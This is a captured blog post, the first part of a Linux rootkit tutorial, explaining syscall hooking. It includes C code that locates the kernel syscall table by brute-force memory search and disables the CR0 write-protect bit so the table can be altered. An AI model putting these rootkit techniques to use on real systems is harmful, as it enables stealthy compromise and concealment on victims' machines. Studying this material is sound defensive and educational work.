jm33.me Open in urlscan Pro
185.199.108.153  Public Scan

URL: https://jm33.me/linux-rootkit-for-fun-and-profit-0x01-lkm.html
Submission: On June 29 via manual from US — Scanned from DE

Form analysis 0 forms found in the DOM

Text Content

Toggle navigation jm33_ng
 * Course notes
 * Misc
 * Pentest
 * Programming
 * Tools
 * Vulnerabilities


JM33_NG


cyber security / noob developer / poor English


LINUX ROOTKIT FOR FUN AND PROFIT - 0X01 - LKM

Date Thu 05 December 2019 Tags pentest / rootkit / linux / lkm

Every technique used in this rootkit can be found from internet, I am NOT
responsible for any damage you might cause using my code




WHAT YOU WILL LEARN

 * what system calls are
 * how to hijack them


HOW TO HOOK SYSCALLS


WHAT?

to make the magic work, you have to deceive user space programs, meaning
controlling the interface between user space and kernel, ie. syscalls

take cat for example, how does it open the target file for reading?

$ strace cat /tmp/test
execve("/usr/bin/cat", ["cat", "/tmp/test"], 0x7ffc0ef32218 /* 29 vars */) = 0
brk(NULL)                               = 0x5564de58a000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=41793, ...}) = 0
mmap(NULL, 41793, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fe15ceaf000
close(3)                                = 0
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260A\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1824496, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe15cead000
mmap(NULL, 1837056, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fe15ccec000
mprotect(0x7fe15cd0e000, 1658880, PROT_NONE) = 0
mmap(0x7fe15cd0e000, 1343488, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x22000) = 0x7fe15cd0e000
mmap(0x7fe15ce56000, 311296, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x16a000) = 0x7fe15ce56000
mmap(0x7fe15cea3000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1b6000) = 0x7fe15cea3000
mmap(0x7fe15cea9000, 14336, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fe15cea9000
close(3)                                = 0
arch_prctl(ARCH_SET_FS, 0x7fe15ceae540) = 0
mprotect(0x7fe15cea3000, 16384, PROT_READ) = 0
mprotect(0x5564de4d4000, 4096, PROT_READ) = 0
mprotect(0x7fe15cee1000, 4096, PROT_READ) = 0
munmap(0x7fe15ceaf000, 41793)           = 0
brk(NULL)                               = 0x5564de58a000
brk(0x5564de5ab000)                     = 0x5564de5ab000
openat(AT_FDCWD, "/usr/lib/locale/locale-archive", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=3031632, ...}) = 0
mmap(NULL, 3031632, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fe15ca07000
close(3)                                = 0
fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0), ...}) = 0
openat(AT_FDCWD, "/tmp/test", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=5, ...}) = 0
fadvise64(3, 0, 0, POSIX_FADV_SEQUENTIAL) = 0
mmap(NULL, 139264, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe15c9e5000
read(3, "test\n", 131072)               = 5
write(1, "test\n", 5test
)                   = 5
read(3, "", 131072)                     = 0
munmap(0x7fe15c9e5000, 139264)          = 0
close(3)                                = 0
close(1)                                = 0
close(2)                                = 0
exit_group(0)                           = ?
+++ exited with 0 +++


the core part:

openat(AT_FDCWD, "/tmp/test", O_RDONLY) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=5, ...}) = 0
fadvise64(3, 0, 0, POSIX_FADV_SEQUENTIAL) = 0
mmap(NULL, 139264, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fe15c9e5000
read(3, "test\n", 131072)               = 5
write(1, "test\n", 5test
)                   = 5


more specifically, its the openat syscall that helps cat get the target file.
now we know if we hook openat, we can tell cat that this file doesnt exist, or
give it Permission denied


HOOK?

redirecting a syscall to a custom function, is called hooking.

to do that, first we need to

FIND SYSCALL TABLE

basically its about replacing syscalls with your own functions, only in
practice, you just modify the syscall table which holds addresses to all
syscalls

when you have successfully made the target syscall to point to your custom
function, all user space programs start to talk to your function instead of the
real one

to do that, first we need to get the syscall table

unsigned long*
get_syscall_table_bf(void)
{
    unsigned long* syscall_table;
    unsigned long int i;

    for (i = (unsigned long int)sys_close; i < ULONG_MAX;
         i += sizeof(void*)) {
        syscall_table = (unsigned long*)i;

        if (syscall_table[__NR_close] == (unsigned long)sys_close)
            return syscall_table;
    }
    return NULL;
}


the above code is borrowed from diamorphine

several notes to carry in mind:

 * a syscall function is of type long, meaning it can return a signed (negative)
   long int as errno
 * syscall_table[__NR_close] means syscall close of syscall_table array, in
   which __NR_close is the syscall number (index) of close
 * syscall table is an array of unsigned long, each element represents an
   address of the coresponding syscall

now i will explain what happens in the get_syscall_table_bf() function:

 1. we define a syscall_table to hold the actual syscall table that we get
    eventually
 2. sys_close represents the current close syscall's address, its the starting
    point we use to search
 3. loop until i reaches ULONG_MAX, ie. the max unsigned int number. in each
    loop, we use (unsigned long*)i as syscall_table (address), see if this
    syscall_table is valid, by checking if syscall_table[__NR_close] equals the
    actual close syscall
 4. return if we found the match

how does the search work?

reference

$ sudo cat /boot/System.map-xxxx-generic | grep -e 'sys_call_table' -e 'sys_close'
ffffffff8125e8e0 T __ia32_sys_close
ffffffff8125ec70 T __x64_sys_close # `sys_close` address
ffffffff81c001e0 R sys_call_table # syscall table address
ffffffff81c015c0 R ia32_sys_call_table
ffffffff825985f0 t _eil_addr___ia32_sys_close
ffffffff82598600 t _eil_addr___x64_sys_close


we see that sys_call_table's address is greater than sys_close's, therefore by
doing a search from sys_close to ULONG_MAX (the highest address possible), we
are able to find sys_call_table

why close then? well, technically anything that resides lower than
sys_call_table will do.

simple put, we just need to find some point to start from, as long as
sys_call_table is in our search interval, we will find it without issue

note, syscall table is obtained at runtime, you will only need to compile the
LKM once for the same kernel

when syscall table is located, our next move is

ALTER SYSCALL TABLE

reference

one does not simply modify the syscall table, because ffffffff81c001e0 R
sys_call_table has an R which implies its read-only

there are solutions, of course, please read this:

what is cr0 ?

theres a WP (write protect) bit in cr0 control register:

> When set, the CPU can't write to read-only pages when privilege level is 0

 * what is level 0?
 * CPU protection ring, wikipedia

level 0 is where your LKM code (the kernel) lives, so by setting the cr0's WP
bit to "disabled" mode, we get the permission to ignore read-only

sounds really cool, but how do we do that?

static inline void
protect_memory(void)
{
    write_cr0(cr0);
}

static inline void
unprotect_memory(void)
{
    write_cr0(cr0 & ~0x00010000);
}

static int mod_init(void) {
    unsigned long cr0;
    cr0 = read_cr0();

    unprotect_memory();
    /* hook some syscalls */
    protect_memory();

    return 0;
}


AND with 0, we always get 0, thus WP bits gets disabled. we can OR it back of
course, but since we have already read_cr0(), setting cr0 back is really easy

okay, i guess i have covered the kernel hooking part, in 0x02, im gonna hook
some syscalls, to finish our LKM

--------------------------------------------------------------------------------


COMMENTS



Please enable JavaScript to view the comments powered by Disqus.

About jm33



WHO

 * Cyber Security Researcher


CONTACT

 * 0x9CF295D2

 * Mastodon

 * Leave a message



   

 * SOCIAL
   
   * Twitter
   * GitHub
   * LinkedIn
   * StackOverflow
   
   

 * RECENT POSTS
   
   * Reversing a Go Malware Using Ghidra
   * Secure Boot in Arch Linux
   * OpenSSH Server 密码收割机
   * Migrating from Libvirt to Qemu
   * 我的路
   
   

 * TAGS
   
   * 404
   * 443
   * active directory
   * ad
   * announcement
   * antivirus
   * anyconnect
   * apache
   * arch
   * assembly
   * asu
   * backdoor
   * baidu
   * blackhat
   * bridge
   * buffer overflow
   * C#
   * career
   * censorship
   * cisco
   * code maintainance
   * compton
   * conhost
   * conpty
   * Coursera
   * credential harvesting
   * crypto
   * cryptography
   * CVE
   * CVE-2018-18955
   * CVE-2018-7750
   * diary
   * DNS污染
   * DPI
   * email
   * emp3r0r
   * exploit
   * file transfer
   * gdb
   * gfw
   * ghidra
   * github
   * Glowing Bear
   * golang
   * gpu
   * great wall
   * greatwall
   * hacking
   * hacking tool
   * HiWiFi
   * HTTP2
   * https
   * injection
   * IRC
   * 极路由
   * KCP
   * kcptun
   * kernel
   * killer
   * lede
   * libvirt
   * life
   * linux
   * linux kernel
   * lkm
   * log cleaner
   * LPE
   * macos
   * mass exploit
   * mec
   * memory layout
   * mentohust
   * Misc
   * mouse
   * multi-threaded crawler
   * namespace
   * natural scroll
   * netcat
   * network
   * nic
   * obfs4
   * obfsproxy
   * ocserv
   * openwrt
   * paramiko
   * pentest
   * pep8
   * PGP
   * pi
   * port-forwarding
   * post-exploitation
   * privilege escalation
   * programming
   * project
   * proxy
   * ptrace
   * PTRACE_TRACEME
   * python
   * pythonic
   * qemu
   * QQ
   * quote
   * RCE
   * reverse shell
   * reversing
   * rootkit
   * s2-045
   * scanner
   * scramblesuit
   * secure boot
   * SEED lab
   * sfu
   * shadowsocks
   * shadowsocks-plus
   * shell
   * shellcode
   * socket
   * SS
   * ssh
   * ssh-harvester
   * sshd
   * SSL
   * Stanford
   * sudo
   * switch
   * systemd
   * terminal
   * Thomas Jefferson
   * TMUX
   * tools
   * trasparent proxy
   * vim
   * virtualbox
   * virtualization
   * vpn
   * wayland
   * web
   * weechat
   * windows
   * windows domain
   * windows server
   * xfce4
   * xfwm
   * xhost
   * xml
   * zoomeye
   

--------------------------------------------------------------------------------

© 2023 jm33-ng - About this site

Content licensed under a Creative Commons Attribution-NonCommercial 4.0
International License, except where indicated otherwise.

Images hosted on this site are either my own or from the Internet